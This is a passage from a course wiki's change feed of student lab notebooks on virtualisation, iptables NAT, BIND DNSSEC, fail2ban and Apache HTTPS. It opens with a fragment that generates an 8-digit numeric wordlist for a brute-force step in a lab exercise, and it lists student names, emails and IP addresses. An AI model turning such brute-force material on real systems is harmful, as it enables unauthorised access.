    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&lt;br /&gt;
&lt;br /&gt;
Enfin on peut lancer la méthode par force brute via la commande suivante&lt;br /&gt;
&lt;br /&gt;
Le résutat peut-être observé via la commande :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12167</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12167"/>
		<updated>2026-02-10T15:35:06Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|22&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l&#039;école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d&#039;origine et de destination ainsi que l&#039;identifiant des ports d&#039;origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d&#039;adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCédric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l&#039;unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12151</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12151"/>
		<updated>2026-02-10T14:46:45Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
